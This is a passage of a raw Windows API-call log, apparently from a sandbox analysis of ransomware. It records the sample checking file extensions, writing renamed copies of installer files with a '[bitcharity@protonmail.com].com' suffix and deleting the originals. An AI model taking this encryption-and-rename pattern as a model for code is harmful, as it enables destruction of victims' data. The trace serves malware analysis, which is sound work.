-1 [0133.104] lstrlenW (lpString=".docx") returned 5 [0133.104] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0133.104] lstrlenW (lpString=".pdf") returned 4 [0133.104] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0133.104] lstrlenW (lpString=".xls") returned 4 [0133.104] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0133.104] lstrlenW (lpString=".xlsx") returned 5 [0133.104] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0133.104] lstrlenW (lpString=".ppt") returned 4 [0133.104] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0133.104] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\LocalizedData.xml") returned 44 [0133.104] lstrlenW (lpString=".zip") returned 4 [0133.104] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0133.104] lstrlenW (lpString=".rar") returned 4 [0133.104] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0133.104] lstrlenW (lpString=".bz2") returned 4 [0133.104] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0133.104] lstrlenW (lpString=".7z") returned 3 [0133.104] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0133.104] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\LocalizedData.xml") returned 44 [0133.104] lstrlenW (lpString=".dbf") returned 4 [0133.104] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0133.104] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\LocalizedData.xml") returned 44 [0133.104] lstrlenW (lpString=".1cd") returned 4 [0133.104] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0133.104] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\LocalizedData.xml") returned 44 [0133.104] lstrlenW (lpString=".jpg") returned 4 [0133.104] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0133.104] lstrcmpiW (lpString1=".rtf", lpString2=".com") returned 1 [0133.104] lstrlenW (lpString="eula.rtf") returned 8 [0133.105] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1033\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1033\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10a4 [0133.348] GetFileSizeEx (in: hFile=0x10a4, lpFileSize=0x334ff14 | out: lpFileSize=0x334ff14*=3188) returned 1 [0133.348] CloseHandle (hObject=0x10a4) returned 1 [0133.348] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1033\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1033\\eula.rtf")) returned 0x80 [0133.348] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1033\\eula.rtf.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\588bce7c90097ed212\\1033\\eula.rtf.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0133.349] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1033\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1033\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10a4 [0133.349] SetFilePointerEx (in: hFile=0x10a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x334fec0 | out: lpNewFilePointer=0x0) returned 1 [0133.349] SetFilePointerEx (in: hFile=0x10a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x334fec0 | out: lpNewFilePointer=0x0) returned 1 [0133.349] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1033\\eula.rtf.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\588bce7c90097ed212\\1033\\eula.rtf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10b8 [0133.351] GetLastError () returned 0x0 [0133.351] ReadFile (in: hFile=0x10a4, lpBuffer=0x3f0a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x334fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f0a020*, lpNumberOfBytesRead=0x334fecc*=0xc74, lpOverlapped=0x0) returned 1 [0134.591] WriteFile (in: hFile=0x10b8, lpBuffer=0x3f0a020*, nNumberOfBytesToWrite=0xc80, lpNumberOfBytesWritten=0x334fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f0a020*, lpNumberOfBytesWritten=0x334fc94*=0xc80, lpOverlapped=0x0) returned 1 [0134.592] ReadFile (in: hFile=0x10a4, lpBuffer=0x3f0a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x334fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f0a020*, lpNumberOfBytesRead=0x334fecc*=0x0, lpOverlapped=0x0) returned 1 [0134.592] WriteFile (in: hFile=0x10b8, lpBuffer=0x3f0a020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x334fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f0a020*, lpNumberOfBytesWritten=0x334fc94*=0xe4, lpOverlapped=0x0) returned 1 [0134.592] SetEndOfFile (hFile=0x10b8) returned 1 [0134.592] CloseHandle (hObject=0x10b8) returned 1 [0134.593] SetFilePointerEx (in: hFile=0x10a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x334fec0 | out: lpNewFilePointer=0x0) returned 1 [0134.593] SetEndOfFile (hFile=0x10a4) returned 1 [0134.594] CloseHandle (hObject=0x10a4) returned 1 [0134.594] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1033\\eula.rtf.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x80) returned 1 [0134.595] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1033\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1033\\eula.rtf")) returned 1 [0134.595] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\eula.rtf") returned 35 [0134.595] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\eula.rtf") returned 35 [0134.595] lstrlenW (lpString=".doc") returned 4 [0134.595] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0134.595] lstrlenW (lpString=".docx") returned 5 [0134.595] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0134.595] lstrlenW (lpString=".pdf") returned 4 [0134.595] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0134.595] lstrlenW (lpString=".xls") returned 4 [0134.595] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0134.595] lstrlenW (lpString=".xlsx") returned 5 [0134.595] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0134.595] lstrlenW (lpString=".ppt") returned 4 [0134.595] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0134.595] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\eula.rtf") returned 35 [0134.595] lstrlenW (lpString=".zip") returned 4 [0134.595] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0134.595] lstrlenW (lpString=".rar") returned 4 [0134.595] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0134.595] lstrlenW (lpString=".bz2") returned 4 [0134.595] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0134.595] lstrlenW (lpString=".7z") returned 3 [0134.595] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0134.596] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\eula.rtf") returned 35 [0134.596] lstrlenW (lpString=".dbf") returned 4 [0134.596] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0134.596] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\eula.rtf") returned 35 [0134.596] lstrlenW (lpString=".1cd") returned 4 [0134.596] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0134.596] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\eula.rtf") returned 35 [0134.596] lstrlenW (lpString=".jpg") returned 4 [0134.596] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0134.596] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\eula.rtf") returned 35 [0134.596] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\eula.rtf") returned 35 [0134.596] lstrlenW (lpString=".doc") returned 4 [0134.596] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0134.596] lstrlenW (lpString=".docx") returned 5 [0134.596] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0134.596] lstrlenW (lpString=".pdf") returned 4 [0134.596] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0134.596] lstrlenW (lpString=".xls") returned 4 [0134.596] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0134.596] lstrlenW (lpString=".xlsx") returned 5 [0134.596] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0134.596] lstrlenW (lpString=".ppt") returned 4 [0134.596] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0134.596] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\eula.rtf") returned 35 [0134.596] lstrlenW (lpString=".zip") returned 4 [0134.596] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0134.596] lstrlenW (lpString=".rar") returned 4 [0134.596] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0134.596] lstrlenW (lpString=".bz2") returned 4 [0134.596] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0134.596] lstrlenW (lpString=".7z") returned 3 [0134.597] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0134.597] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\eula.rtf") returned 35 [0134.597] lstrlenW (lpString=".dbf") returned 4 [0134.597] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0134.597] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\eula.rtf") returned 35 [0134.597] lstrlenW (lpString=".1cd") returned 4 [0134.597] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0134.597] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\eula.rtf") returned 35 [0134.597] lstrlenW (lpString=".jpg") returned 4 [0134.597] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0134.597] lstrcmpiW (lpString1=".xml", lpString2=".com") returned 1 [0134.597] lstrlenW (lpString="LocalizedData.xml") returned 17 [0134.597] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1036\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1036\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10a4 [0134.597] GetFileSizeEx (in: hFile=0x10a4, lpFileSize=0x334ff14 | out: lpFileSize=0x334ff14*=82962) returned 1 [0134.597] CloseHandle (hObject=0x10a4) returned 1 [0134.597] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1036\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1036\\localizeddata.xml")) returned 0x80 [0134.597] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1036\\LocalizedData.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\588bce7c90097ed212\\1036\\localizeddata.xml.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0134.597] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1036\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1036\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10a4 [0134.598] SetFilePointerEx (in: hFile=0x10a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x334fec0 | out: lpNewFilePointer=0x0) returned 1 [0134.598] SetFilePointerEx (in: hFile=0x10a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x334fec0 | out: lpNewFilePointer=0x0) returned 1 [0134.598] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1036\\LocalizedData.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\588bce7c90097ed212\\1036\\localizeddata.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10b8 [0134.598] GetLastError () returned 0x0 [0134.598] ReadFile (in: hFile=0x10a4, lpBuffer=0x3f0a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x334fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f0a020*, lpNumberOfBytesRead=0x334fecc*=0x14412, lpOverlapped=0x0) returned 1 [0134.669] WriteFile (in: hFile=0x10b8, lpBuffer=0x3f0a020*, nNumberOfBytesToWrite=0x14420, lpNumberOfBytesWritten=0x334fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f0a020*, lpNumberOfBytesWritten=0x334fc94*=0x14420, lpOverlapped=0x0) returned 1 [0134.670] ReadFile (in: hFile=0x10a4, lpBuffer=0x3f0a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x334fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f0a020*, lpNumberOfBytesRead=0x334fecc*=0x0, lpOverlapped=0x0) returned 1 [0134.670] WriteFile (in: hFile=0x10b8, lpBuffer=0x3f0a020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x334fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f0a020*, lpNumberOfBytesWritten=0x334fc94*=0xf6, lpOverlapped=0x0) returned 1 [0134.670] SetEndOfFile (hFile=0x10b8) returned 1 [0134.671] CloseHandle (hObject=0x10b8) returned 1 [0134.673] SetFilePointerEx (in: hFile=0x10a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x334fec0 | out: lpNewFilePointer=0x0) returned 1 [0134.673] SetEndOfFile (hFile=0x10a4) returned 1 [0134.674] CloseHandle (hObject=0x10a4) returned 1 [0134.674] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1036\\LocalizedData.xml.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x80) returned 1 [0134.674] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1036\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1036\\localizeddata.xml")) returned 1 [0134.674] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\LocalizedData.xml") returned 44 [0134.674] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\LocalizedData.xml") returned 44 [0134.674] lstrlenW (lpString=".doc") returned 4 [0134.674] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0134.675] lstrlenW (lpString=".docx") returned 5 [0134.675] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0134.675] lstrlenW (lpString=".pdf") returned 4 [0134.675] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0134.675] lstrlenW (lpString=".xls") returned 4 [0134.675] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0134.675] lstrlenW (lpString=".xlsx") returned 5 [0134.675] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0134.675] lstrlenW (lpString=".ppt") returned 4 [0134.675] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0134.675] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\LocalizedData.xml") returned 44 [0134.675] lstrlenW (lpString=".zip") returned 4 [0134.675] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0134.675] lstrlenW (lpString=".rar") returned 4 [0134.675] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0134.675] lstrlenW (lpString=".bz2") returned 4 [0134.675] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0134.675] lstrlenW (lpString=".7z") returned 3 [0134.675] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0134.675] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\LocalizedData.xml") returned 44 [0134.675] lstrlenW (lpString=".dbf") returned 4 [0134.675] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0134.675] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\LocalizedData.xml") returned 44 [0134.675] lstrlenW (lpString=".1cd") returned 4 [0134.675] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0134.675] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\LocalizedData.xml") returned 44 [0134.675] lstrlenW (lpString=".jpg") returned 4 [0134.675] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0134.675] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\LocalizedData.xml") returned 44 [0134.675] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\LocalizedData.xml") returned 44 [0134.675] lstrlenW (lpString=".doc") returned 4 [0134.675] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0134.676] lstrlenW (lpString=".docx") returned 5 [0134.676] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0134.676] lstrlenW (lpString=".pdf") returned 4 [0134.676] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0134.676] lstrlenW (lpString=".xls") returned 4 [0134.676] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0134.676] lstrlenW (lpString=".xlsx") returned 5 [0134.676] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0134.676] lstrlenW (lpString=".ppt") returned 4 [0134.676] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0134.676] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\LocalizedData.xml") returned 44 [0134.676] lstrlenW (lpString=".zip") returned 4 [0134.676] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0134.676] lstrlenW (lpString=".rar") returned 4 [0134.676] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0134.676] lstrlenW (lpString=".bz2") returned 4 [0134.676] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0134.676] lstrlenW (lpString=".7z") returned 3 [0134.676] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0134.676] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\LocalizedData.xml") returned 44 [0134.676] lstrlenW (lpString=".dbf") returned 4 [0134.676] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0134.676] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\LocalizedData.xml") returned 44 [0134.676] lstrlenW (lpString=".1cd") returned 4 [0134.676] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0134.676] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\LocalizedData.xml") returned 44 [0134.676] lstrlenW (lpString=".jpg") returned 4 [0134.676] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0134.676] lstrcmpiW (lpString1=".rtf", lpString2=".com") returned 1 [0134.677] lstrlenW (lpString="eula.rtf") returned 8 [0134.677] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1037\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1037\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10a4 [0134.677] GetFileSizeEx (in: hFile=0x10a4, lpFileSize=0x334ff14 | out: lpFileSize=0x334ff14*=6851) returned 1 [0134.677] CloseHandle (hObject=0x10a4) returned 1 [0134.677] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1037\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1037\\eula.rtf")) returned 0x80 [0134.677] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1037\\eula.rtf.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\588bce7c90097ed212\\1037\\eula.rtf.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0134.677] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1037\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1037\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10a4 [0134.677] SetFilePointerEx (in: hFile=0x10a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x334fec0 | out: lpNewFilePointer=0x0) returned 1 [0134.677] SetFilePointerEx (in: hFile=0x10a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x334fec0 | out: lpNewFilePointer=0x0) returned 1 [0134.677] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1037\\eula.rtf.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\588bce7c90097ed212\\1037\\eula.rtf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10b8 [0134.677] GetLastError () returned 0x0 [0134.677] ReadFile (in: hFile=0x10a4, lpBuffer=0x3f0a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x334fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f0a020*, lpNumberOfBytesRead=0x334fecc*=0x1ac3, lpOverlapped=0x0) returned 1 [0134.749] WriteFile (in: hFile=0x10b8, lpBuffer=0x3f0a020*, nNumberOfBytesToWrite=0x1ad0, lpNumberOfBytesWritten=0x334fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f0a020*, lpNumberOfBytesWritten=0x334fc94*=0x1ad0, lpOverlapped=0x0) returned 1 [0134.750] ReadFile (in: hFile=0x10a4, lpBuffer=0x3f0a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x334fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f0a020*, lpNumberOfBytesRead=0x334fecc*=0x0, lpOverlapped=0x0) returned 1 [0134.750] WriteFile (in: hFile=0x10b8, lpBuffer=0x3f0a020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x334fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f0a020*, lpNumberOfBytesWritten=0x334fc94*=0xe4, lpOverlapped=0x0) returned 1 [0134.751] SetEndOfFile (hFile=0x10b8) returned 1 [0134.751] CloseHandle (hObject=0x10b8) returned 1 [0134.752] SetFilePointerEx (in: hFile=0x10a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x334fec0 | out: lpNewFilePointer=0x0) returned 1 [0134.752] SetEndOfFile (hFile=0x10a4) returned 1 [0134.752] CloseHandle (hObject=0x10a4) returned 1 [0134.753] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1037\\eula.rtf.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x80) returned 1 [0134.753] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1037\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1037\\eula.rtf")) returned 1 [0134.753] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\eula.rtf") returned 35 [0134.753] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\eula.rtf") returned 35 [0134.753] lstrlenW (lpString=".doc") returned 4 [0134.753] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0134.753] lstrlenW (lpString=".docx") returned 5 [0134.753] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0134.753] lstrlenW (lpString=".pdf") returned 4 [0134.754] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0134.754] lstrlenW (lpString=".xls") returned 4 [0134.754] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0134.754] lstrlenW (lpString=".xlsx") returned 5 [0134.754] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0134.754] lstrlenW (lpString=".ppt") returned 4 [0134.754] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0134.754] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\eula.rtf") returned 35 [0134.754] lstrlenW (lpString=".zip") returned 4 [0134.754] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0134.754] lstrlenW (lpString=".rar") returned 4 [0134.754] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0134.754] lstrlenW (lpString=".bz2") returned 4 [0134.754] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0134.754] lstrlenW (lpString=".7z") returned 3 [0134.754] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0134.754] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\eula.rtf") returned 35 [0134.754] lstrlenW (lpString=".dbf") returned 4 [0134.754] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0134.755] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\eula.rtf") returned 35 [0134.755] lstrlenW (lpString=".1cd") returned 4 [0134.755] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0134.755] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\eula.rtf") returned 35 [0134.755] lstrlenW (lpString=".jpg") returned 4 [0134.755] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0134.755] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\eula.rtf") returned 35 [0134.755] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\eula.rtf") returned 35 [0134.755] lstrlenW (lpString=".doc") returned 4 [0134.755] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0134.755] lstrlenW (lpString=".docx") returned 5 [0134.755] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0134.755] lstrlenW (lpString=".pdf") returned 4 [0134.755] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0134.755] lstrlenW (lpString=".xls") returned 4 [0134.755] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0134.755] lstrlenW (lpString=".xlsx") returned 5 [0134.755] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0134.755] lstrlenW (lpString=".ppt") returned 4 [0134.755] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0134.755] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\eula.rtf") returned 35 [0134.755] lstrlenW (lpString=".zip") returned 4 [0134.755] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0134.755] lstrlenW (lpString=".rar") returned 4 [0134.755] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0134.755] lstrlenW (lpString=".bz2") returned 4 [0134.756] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0134.756] lstrlenW (lpString=".7z") returned 3 [0134.756] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0134.756] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\eula.rtf") returned 35 [0134.756] lstrlenW (lpString=".dbf") returned 4 [0134.756] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0134.756] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\eula.rtf") returned 35 [0134.756] lstrlenW (lpString=".1cd") returned 4 [0134.756] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0134.756] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\eula.rtf") returned 35 [0134.756] lstrlenW (lpString=".jpg") returned 4 [0134.756] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0134.756] lstrcmpiW (lpString1=".rtf", lpString2=".com") returned 1 [0134.756] lstrlenW (lpString="eula.rtf") returned 8 [0134.756] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1038\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1038\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10a4 [0134.756] GetFileSizeEx (in: hFile=0x10a4, lpFileSize=0x334ff14 | out: lpFileSize=0x334ff14*=4254) returned 1 [0134.757] CloseHandle (hObject=0x10a4) returned 1 [0134.757] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1038\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1038\\eula.rtf")) returned 0x80 [0134.757] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1038\\eula.rtf.id-B4197730.[bitcharity@protonmail.com].com" (normalized: 